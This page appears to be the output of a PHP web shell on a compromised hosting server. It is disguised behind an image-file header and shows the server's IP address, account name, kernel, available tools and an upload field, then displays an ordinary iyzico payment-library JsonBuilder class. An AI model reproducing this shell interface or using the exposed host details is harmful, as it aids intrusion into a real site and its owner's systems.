����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.217.174.142 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirm.gltechlimited.com/vendor/iyzico/iyzipay-php/src/Iyzipay/ |
Upload File : |
<?php namespace Iyzipay; class JsonBuilder { private $json; function __construct($json) { $this->json = $json; } public static function create() { return new JsonBuilder(array()); } public static function fromJsonObject($json) { return new JsonBuilder($json); } /** * @param $key * @param $value * @return JsonBuilder */ public function add($key, $value = null) { if (isset($value)) { if ($value instanceof JsonConvertible) { $this->json[$key] = $value->getJsonObject(); } else { $this->json[$key] = $value; } } return $this; } /** * @param $key * @param $value * @return JsonBuilder */ public function addPrice($key, $value = null) { if (isset($value)) { $this->json[$key] = RequestFormatter::formatPrice($value); } return $this; } /** * @param $key * @param array $array * @return JsonBuilder */ public function addArray($key, array $array = null) { if (isset($array)) { foreach ($array as $index => $value) { if ($value instanceof JsonConvertible) { $this->json[$key][$index] = $value->getJsonObject(); } else { $this->json[$key][$index] = $value; } } } return $this; } public function getObject() { return $this->json; } public static function jsonEncode($jsonObject) { return json_encode($jsonObject); } public static function jsonDecode($rawResult) { return json_decode($rawResult); } }